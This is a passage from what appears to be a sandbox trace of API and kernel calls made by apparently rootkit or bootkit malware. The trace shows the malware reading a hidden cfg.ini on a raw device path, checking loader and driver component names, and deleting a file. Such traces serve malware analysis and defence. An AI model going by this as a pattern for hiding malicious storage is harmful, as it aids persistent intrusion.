(_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.369] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.369] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.369] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.369] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.369] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.369] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.369] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.369] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.369] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.369] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.369] KeLeaveCriticalRegion () [0121.369] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.369] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.369] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.369] KeEnterCriticalRegion () [0121.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.369] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.369] IdePortDispatch () returned 0x103 [0121.369] KeWaitForMutexObject () returned 0x0 [0121.369] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.369] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.370] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.370] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.370] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.370] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.370] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.370] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.370] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.370] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.370] KeLeaveCriticalRegion () [0121.370] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.370] ReleaseMutex (hMutex=0x100) returned 1 [0121.370] Sleep (dwMilliseconds=0x2bf20) [0121.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b8bc2b0, dwHighDateTime=0x1d24fa4)) [0121.378] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.378] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.378] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.378] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.378] KeEnterCriticalRegion () [0121.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.379] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.379] IdePortDispatch () returned 0x103 [0121.379] KeWaitForMutexObject () returned 0x0 [0121.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.379] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.379] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.379] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.379] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.379] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4540 [0121.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.379] KeLeaveCriticalRegion () [0121.379] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.379] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.379] KeEnterCriticalRegion () [0121.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.379] KeLeaveCriticalRegion () [0121.379] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.379] KeEnterCriticalRegion () [0121.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.379] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.379] IdePortDispatch () returned 0x103 [0121.379] KeWaitForMutexObject () returned 0x0 [0121.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.379] KeLeaveCriticalRegion () [0121.379] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.380] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.380] KeEnterCriticalRegion () [0121.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.380] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b19000 [0121.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.380] IdePortDispatch () returned 0x103 [0121.380] KeWaitForMutexObject () returned 0x0 [0121.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.380] IdePortDispatch () returned 0x103 [0121.380] KeWaitForMutexObject () returned 0x0 [0121.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.380] KeLeaveCriticalRegion () [0121.380] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.381] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.381] KeEnterCriticalRegion () [0121.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.381] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.381] KeLeaveCriticalRegion () [0121.381] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.381] KeEnterCriticalRegion () [0121.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.381] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.381] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.381] KeLeaveCriticalRegion () [0121.381] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.381] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.381] KeEnterCriticalRegion () [0121.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.381] ExFreePoolWithTag (P=0xfffffa8003bc4540, Tag=0x0) [0121.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.381] KeLeaveCriticalRegion () [0121.381] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.381] ReleaseMutex (hMutex=0xf0) returned 1 [0121.381] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.381] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.381] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.381] KeEnterCriticalRegion () [0121.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.381] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.381] IdePortDispatch () returned 0x103 [0121.381] KeWaitForMutexObject () returned 0x0 [0121.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.382] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.382] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.382] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.382] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.382] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.382] KeLeaveCriticalRegion () [0121.382] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.382] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.382] KeEnterCriticalRegion () [0121.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.382] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.382] KeLeaveCriticalRegion () [0121.382] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.382] KeEnterCriticalRegion () [0121.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.382] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.382] IdePortDispatch () returned 0x103 [0121.382] KeWaitForMutexObject () returned 0x0 [0121.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.382] KeLeaveCriticalRegion () [0121.382] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.382] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.382] KeEnterCriticalRegion () [0121.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.383] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1a000 [0121.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.383] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.383] IdePortDispatch () returned 0x103 [0121.383] KeWaitForMutexObject () returned 0x0 [0121.383] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.383] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.383] IdePortDispatch () returned 0x103 [0121.383] KeWaitForMutexObject () returned 0x0 [0121.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.383] KeLeaveCriticalRegion () [0121.383] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.384] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.384] KeEnterCriticalRegion () [0121.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.384] KeLeaveCriticalRegion () [0121.384] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.384] KeEnterCriticalRegion () [0121.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.384] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.384] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.384] KeLeaveCriticalRegion () [0121.384] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.384] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.384] KeEnterCriticalRegion () [0121.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.384] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.384] KeLeaveCriticalRegion () [0121.384] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.384] ReleaseMutex (hMutex=0xf0) returned 1 [0121.385] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.385] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.385] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.385] KeEnterCriticalRegion () [0121.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.385] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.385] IdePortDispatch () returned 0x103 [0121.385] KeWaitForMutexObject () returned 0x0 [0121.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.385] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.385] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.385] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.385] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.385] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe140 [0121.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.385] KeLeaveCriticalRegion () [0121.385] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.385] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.385] KeEnterCriticalRegion () [0121.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.385] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.385] KeLeaveCriticalRegion () [0121.385] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.385] KeEnterCriticalRegion () [0121.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.385] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.385] IdePortDispatch () returned 0x103 [0121.385] KeWaitForMutexObject () returned 0x0 [0121.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.386] KeLeaveCriticalRegion () [0121.386] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.386] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.386] KeEnterCriticalRegion () [0121.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.386] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b1b000 [0121.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.386] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.386] IdePortDispatch () returned 0x103 [0121.386] KeWaitForMutexObject () returned 0x0 [0121.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.386] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.386] IdePortDispatch () returned 0x103 [0121.386] KeWaitForMutexObject () returned 0x0 [0121.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.386] KeLeaveCriticalRegion () [0121.386] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.387] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.387] KeEnterCriticalRegion () [0121.387] ExAcquireFastMutexUnsafe 